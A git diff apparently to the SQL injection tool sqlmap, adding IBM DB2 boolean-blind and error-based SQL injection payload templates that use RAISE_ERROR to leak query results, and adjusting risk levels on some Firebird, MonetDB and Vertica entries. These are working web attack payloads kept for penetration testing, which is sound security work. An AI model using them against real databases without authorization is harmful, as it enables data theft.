diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml
index 576ea2a46..67cf9940d 100644
--- a/data/xml/payloads/boolean_blind.xml
+++ b/data/xml/payloads/boolean_blind.xml
@@ -1328,6 +1328,44 @@ Tag:
+
+ IBM DB2 boolean-based blind - ORDER BY clause
+ 1
+ 4
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 boolean-based blind - ORDER BY clause (original value)
+ 1
+ 5
+ 1
+ 3
+ 1
+ ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
+
+
+ IBM DB2
+
+
+
HAVING boolean-based blind - WHERE, GROUP BY clause
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index d61b107cb..282864a75 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -683,7 +683,7 @@
Firebird OR error-based - WHERE or HAVING clause
2
- 3
+ 4
3
1,9
2
@@ -721,7 +721,7 @@
MonetDB OR error-based - WHERE or HAVING clause
2
- 3
+ 4
3
1,9
2
@@ -759,7 +759,7 @@
Vertica OR error-based - WHERE or HAVING clause
2
- 3
+ 4
3
1,8,9
2
@@ -774,6 +774,45 @@
Vertica
+
+
+ IBM DB2 AND error-based - WHERE or HAVING clause
+ 2
+ 3
+ 1
+ 1,8,9
+ 1
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 OR error-based - WHERE or HAVING clause
+ 2
+ 4
+ 1
+ 1,8,9
+ 1
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+
+
@@ -1197,7 +1255,6 @@
-
PostgreSQL error-based - ORDER BY, GROUP BY clause
2
@@ -1280,7 +1337,7 @@
2
5
1
- 2,3
+ 3
1
,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))
@@ -1293,6 +1350,25 @@
Firebird
+
+
+ IBM DB2 error-based - ORDER BY clause
+ 2
+ 5
+ 1
+ 3
+ 1
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')
+
+ ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ IBM DB2
+
+